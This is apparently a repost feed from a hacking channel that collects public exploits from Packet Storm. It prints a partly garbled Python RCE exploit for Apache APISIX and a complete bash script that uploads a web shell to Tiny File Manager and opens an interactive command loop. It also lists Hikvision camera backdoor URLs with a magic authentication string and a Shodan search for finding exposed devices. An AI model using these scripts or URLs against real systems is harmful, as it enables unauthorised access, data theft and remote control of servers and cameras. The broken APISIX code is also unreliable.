Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Date: 2022-03-16
# Exploit Author: Ven3xy
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: CentOS 7
# CVE : CVE-2022-24112
import requests
import sys

class color:
HEADER = '\033[95m'
IMPORTANT = '\33[35m'
NOTICE = '\033[33m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
UNDERLINE = '\033[4m'
LOGGING = '\33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] 
def banner():
run = color_random[6]+'''\n                                   .     , 
_.._ * __*\./ ___  _ \./._ | _ *-+-
(_][_)|_) |/'\     (/,/'\[_)|(_)| | 
|                     | 
\n'''
run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n''' 
run3 = color_random[4]+'''{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\n\n'''
print(run+run2+run3) 

if (len(sys.argv) != 4):
banner()
print("[!] Usage   : ./apisix-exploit.py &160\\\\\\"\'); return true end"}',
},
],
}

response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)

response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Apache APISIX 2.12.1 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 19:31

Hacking Articles Tips Tricks Videos Tutorials

2 views19:31

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Tiny File Manager 2.4.6 Shell Upload

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
Tiny File Manager version 2.4.6 suffers from an authenticated remote shell upload vulnerability.

MD5 | 56aefa95418a94bb95e57a7450745e0e

Download

# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
# Date: 14/03/2022
# Exploit Author: FEBIN MON SAJI
# Software Link: https://github.com/prasathmani/tinyfilemanager
# Version: Tiny File Manager <=
# Tested on: Ubuntu 20.04
# CVE : CVE-2021-40964
# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/

#!/bin/bash

check(){

which curl
if  [ $? = 0 ]
then
printf "[✔] Curl found! \n"
else
printf "[❌] Curl not found! \n"
exit
fi

which jq
if  [ $? = 0 ]
then
printf "[✔] jq found! \n"
else
printf "[❌] jq not found! \n"
exit
fi
}
usage(){

printf "
TIny File Manager Authenticated RCE Exploit.

By FEBIN

$0  /tmp/$shell
curl $URL?p= -X POST -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" -b $cookie -F "p=" -F "fullpath=../../../../../../../..${webroot}/${shell}" -F "file=@/tmp/$shell" | grep "successful"
}

exploit(){

WEB_URL=$(printf "$URL" | tr "/" "\n" | head --lines=-1 | tr "\n" "/")

upload
if [ $? = 0 ]
then
printf "[+] File Upload Successful! \n"
else
printf "[-] File Upload Unsuccessful! Exiting! \n"
exit 1
fi
printf "[+] Checking for the shell \n"
curl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep "found" >/dev/null
if [ $? = 0 ]
then
printf "[+] Shell found ${WEB_URL}/$shell \n"
else 
printf "[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \n"
exit 2
fi

printf "[+] Getting shell access! \n\n"

while true
do
printf "$> "
read cmd
curl  ${WEB_URL}/$shell -s -X POST -d "cmd=${cmd}"
done
}

if [ $1 ] && [ $2 ] && [ $3 ]
then
check
log-in $1 $2 $3

find_webroot
exploit
else
usage
fi

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Tiny File Manager 2.4.6 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 19:31

Hacking Articles Tips Tricks Videos Tutorials

3 views19:31

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Pluck CMS 4.7.16 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Pluck CMS 4.7.16 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 19:31

Hacking Articles Tips Tricks Videos Tutorials

3 views19:31

Hacking Articles Tips Tricks Videos Tutorials

3 views19:31

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Windows SpoolFool Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Windows SpoolFool Privilege Escalation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 19:31

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Moodle 3.11.5 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Moodle 3.11.5 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 19:31

Hacking Articles Tips Tricks Videos Tutorials

5 views19:31

Hacking Articles Tips Tricks Videos Tutorials

3 views19:31

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Hikvision IP Camera Backdoor

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Hikvision IP Camera has a backdoor where a magic string allows instant access regardless of authentication.

MD5 | 1b391e39817d3f32ace4fa923e5891f0

Download

# Exploit Title: Hikvision IP Camera - Backdoor
# Date: 14/03/2022
# Exploit Author: Sobhan Mahmoodi
# Reference: https://ipvm.com/reports/hik-exploit
# GitHub: https://github.com/bp2008/HikPasswordHelper/

Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)

# Proof of Concept:

Retrieve a list of all users and their roles:
- http://camera.ip/Security/users?auth=YWRtaW46MTEK

Obtain a camera snapshot without authentication:
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

Download camera configuration:
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

Shodan link to monitor :
https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Hikvision IP Camera Backdoor

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 19:31

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Chrome HandleTable::AddDispatchersFromTransit Integer Overflow

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Chrome suffers from an integer overflow vulnerability in HandleTable::AddDispatchersFromTransit that can lead to memory corruption.

MD5 | c675aacd6426ec71540c56efc246c039

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Chrome HandleTable::AddDispatchersFromTransit Integer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 19:31

Hacking Articles Tips Tricks Videos Tutorials

4 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
Russia State-Sponsored Hackers Used Misconfigured MFA to Breach NGO

FBI and CISA warn of attack on multifactor authentication account to exploit "PrintNightmare" exploit.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Russia State-Sponsored Hackers Used Misconfigured MFA to Breach NGO

FBI and CISA warn of attack on multifactor authentication account to exploit "PrintNightmare" exploit.

5 viewsedited 19:41

About

Blog

Apps

Platform